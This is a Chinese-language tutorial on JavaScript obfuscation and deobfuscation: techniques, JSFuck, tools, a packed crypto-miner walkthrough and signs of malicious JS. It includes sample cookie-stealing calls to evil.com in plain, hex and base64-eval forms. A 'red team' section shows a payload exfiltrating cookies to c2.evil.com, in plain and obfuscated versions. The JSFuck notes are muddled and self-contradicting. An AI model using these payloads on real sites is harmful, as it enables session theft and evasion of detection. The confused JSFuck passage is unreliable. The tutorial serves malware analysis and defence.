目录


一、JS混淆基础概念

混淆 vs 加密 vs 打包

方式原理可逆性目的
Minify移除空格、缩短变量名基本可读减小体积
Obfuscate变换代码结构可逆(需要反混淆)增加阅读难度
Encrypt加密代码+eval解密可逆(运行时解密)隐藏逻辑
Packeval包裹压缩代码可逆规避检测

为什么需要反混淆

  1. 分析恶意脚本:钓鱼页面、挖矿脚本、XSS payload
  2. 逆向Web应用:分析前端逻辑、API端点
  3. CTF挑战:JS逆向题目的常规操作
  4. 红队规避:理解防御检测机制

二、常见混淆技术

1. 变量名混淆

// 原始
function login(username, password) {
  return sendRequest('/api/login', { user: username, pass: password });
}
 
// 混淆
function a(b, c) {
  return d('/api/login', { u: b, p: c });
}

2. 字符串编码

// 原始
fetch('https://evil.com/steal?cookie=' + document.cookie);
 
// Hex编码
fetch('\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d');
 
// Unicode编码
fetch('\u0068\u0074\u0074\u0070\u0073\u003a...');
 
// Base64
eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXZpbC5jb20vc3RlYWw/Y29va2llPScrZG9jdW1lbnQuY29va2llKTs='));

3. 控制流平坦化

// 原始
function process(x) {
  if (x > 10) { return x * 2; }
  else { return x + 1; }
}
 
// 混淆(Switch + 状态机)
function process(x) {
  var state = 0;
  while (true) {
    switch (state) {
      case 0: if (x > 10) { state = 1; break; } else { state = 2; break; }
      case 1: return x * 2;
      case 2: return x + 1;
    }
  }
}

4. 死代码注入

// 混淆:注入大量不执行的代码
function calc(a, b) {
  var _x = 12345;
  var _y = Math.random() * 99999;
  if (_x === _y) { dead_code_1(); dead_code_2(); }
  // ... 实际逻辑
  return a + b;
}

5. 表达式拆分

// 原始
var result = x + y * z;
 
// 混淆
var _0x1a2b = 'x';
var _0x1a2c = 'y';
var _0x1a2d = 'z';
var _0x1a2e = this[_0x1a2b];
var _0x1a2f = this[_0x1a2c] * this[_0x1a2d];
var result = this[_0x1a2e] + this[_0x1a2f];

三、JSFuck与无字母编程

JSFuck原理

仅用6个字符 []()!+ 表达完整的JavaScript:

false![]
true!![]
undefined   → [][[]]
NaN+[![]]
 
// 构造数字
0+[]
1+!![]
2!+[]+!![]  // (+[] = 0, +!![] = 1, !+[]+!![] = "truefalse"?)
2!![]+!![]  // (true+true = 2? wait...)
// 实际:!![]+!![] → true+true → "truetrue" → (this is wrong)
// JSFuck: (+!![])+(+!![]) → 1+1 → 2
2 → (+!![])+(+!![])
 
// 构造字符串
'a' → (false+"")[1]    → "false"[1] → 'a'
'l' → (false+"")[2]    → "false"[2] → 'l'
'e' → (true+"")[3]     → "true"[3]  → 'e'
'r' → (true+"")[1]     → "true"[1]  → 'r'
't' → (true+"")[0]     → "true"[0]  → 't'
 
// 构造 'constructor'
// 过于复杂,详见 JSFuck encoder
 
// 最终执行任意代码
[][(![]+[])[+[]]+...]  // 等同于 Function('alert(1)')()

AAEncode / JJEncode

// AAEncode 用颜文字表示代码
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; ...
 
// JJEncode - 类似
$=~[];$={___:++$,$$$$:...

在线转换工具

四、反混淆方法论

分层反混淆策略

层1:美化 (Beautify)
  → 统一格式、缩进

层2:常量折叠
  → 静态计算表达式:7*7 → 49

层3:字符串解密
  → 解码 Base64/Hex/Unicode 字符串

层4:控制流还原
  → 将Switch状态机还原为if/else

层5:变量重命名
  → _0x1a2b → meaningfulName

层6:死代码移除
  → 删除永远不会执行的代码

层7:最终分析
  → 阅读还原后的逻辑

手动反混淆流程

1. 打开Chrome DevTools → Sources → Snippets
2. 复制混淆代码到Snippet
3. 用 Prettier 格式化
4. 查找 eval/atob/String.fromCharCode 调用
5. 替换eval为console.log → 查看解密结果
6. 逐层剥开:解密 → 格式化 → 再解密
7. 最后得到可读代码

万能反混淆器(浏览器Console)

// 技巧1:劫持eval查看解密结果
const originalEval = window.eval;
window.eval = function(code) {
  console.log('eval called with:', code);
  return originalEval(code);
};
 
// 技巧2:劫持document.write查看写入内容
const originalWrite = document.write;
document.write = function(html) {
  console.log('document.write:', html);
  return originalWrite.apply(document, arguments);
};
 
// 技巧3:劫持Function构造器
const originalFunction = Function;
window.Function = function() {
  console.log('new Function:', arguments);
  return originalFunction.apply(this, arguments);
};

五、常用反混淆工具

在线工具

工具用途特点
de4jsJS反混淆自动检测混淆类型
JS Nice统计反混淆ML驱动、变量名推断
Prettier格式化处理minified代码
BabelAST操作自定义转换
AST ExplorerAST可视化理解代码结构

命令行工具

# de4js CLI
npx de4js obfuscated.js
 
# js-beautify
npx js-beautify obfuscated.js -o beautified.js
 
# webcrack (反打包)
npx webcrack bundle.js -o unpacked/
 
# retype (类型推断 + 重命名)
npx retype obfuscated.js

Python反混淆

# 自动化eval解密脚本
import re
import base64
 
with open('obfuscated.js') as f:
    code = f.read()
 
while True:
    # 查找并解码 atob(base64)
    match = re.search(r'atob\([\'"]([A-Za-z0-9+/=]+)[\'"]\)', code)
    if not match:
        break
    decoded = base64.b64decode(match.group(1)).decode()
    code = code.replace(match.group(0), repr(decoded))
 
# 替换 eval() 为注释
code = re.sub(r'eval\(', '/* eval( */ (', code)
print(code)

六、实战反混淆流程

案例:解密多层混淆挖矿脚本

原始代码:

eval(function(p,a,c,k,e,d){e=function(c){return c};...}('...',10,10,'...'.split('|')))

解包步骤:

// Step 1: 用JS Nice或de4js解外层packer
// → 得到数组映射的eval代码
 
// Step 2: 替换eval为console.log,查看解密后的代码
eval → console.log
// → 发现调用atob()解密base64字符串
 
// Step 3: 手动atob解码
atob('d3NzOi8vIW...') → 'wss://mining-pool.com/...'
 
// Step 4: 发现WebSocket连接到矿池
// → 确认为Cryptocurrency Miner

Chrome DevTools Snippet实战

// 1. 创建新的Snippet
// 2. 粘贴混淆代码
// 3. 在末尾添加:
setTimeout(() => {
  // 5秒后打印可能解密的全局变量
  for (let key in window) {
    if (key.startsWith('_') || key.length < 4) {
      try { console.log(key, '=', window[key]); } catch(e) {}
    }
  }
}, 5000);
 
// 4. 运行Snippet
// 5. 观察Console输出 → 推断混淆逻辑

七、恶意代码分析中的JS

常见恶意JS特征

特征可能含义
new WebSocket('wss://...')矿池连接 / C2通信
navigator.sendBeacon()数据外泄(隐蔽)
document.cookie + fetchCookie窃取
document.getElementById('password') + event listener键盘记录
new RTCPeerConnection()内网IP泄露
document.body.innerHTML = ...页面替换(钓鱼)
if(navigator.webdriver)反自动化检测
大段Base64 + eval混淆/加密payload

自动分析SOP

1. 获取JS文件 → wget/curl
2. 美化 → Prettier
3. 解包 → de4js / 手动eval替换
4. 寻找关键API调用 → grep 'fetch\|WebSocket\|eval\|cookie'
5. 动态分析 → 在隔离环境执行(VM/沙箱)
   - Chrome Headless + 代理(mitmproxy)
   - 或 Windows Sandbox / VM
6. 提取IOC → URL、域名、IP、钱包地址

八、红队视角总结

混淆在红队中的应用

// 红队Payload混淆示例
 
// 版本1:清晰版
fetch('https://c2.evil.com/report', {
  method: 'POST',
  body: JSON.stringify({ cookie: document.cookie, url: location.href })
});
 
// 版本2:混淆版(对抗简单检测)
var _0x=atob('aHR0cHM6Ly9jMi5ldmlsLmNvbS9yZXBvcnQ=');
var _1x={method:'POST',body:JSON.stringify({c:document.cookie,u:location.href})};
new Image().src=_0x+'?'+btoa(JSON.stringify(_1x));
 
// 版本3:自定义编码(对抗高级检测)
// Layer 1: XOR with rotating key
// Layer 2: Custom base62 encoding
// Layer 3: Split across multiple setTimeout calls

工具速查

工具类别用途
de4js反混淆自动检测混淆类型
JS Nice反混淆ML驱动名称推断
webcrack反打包Webpack解包
Babel AST底层自定义反混淆转换
obfuscator.io混淆JS代码混淆
javascript-obfuscator混淆商业级混淆(CLI)

返回 JavaScript 总目录 | 前端基础总目录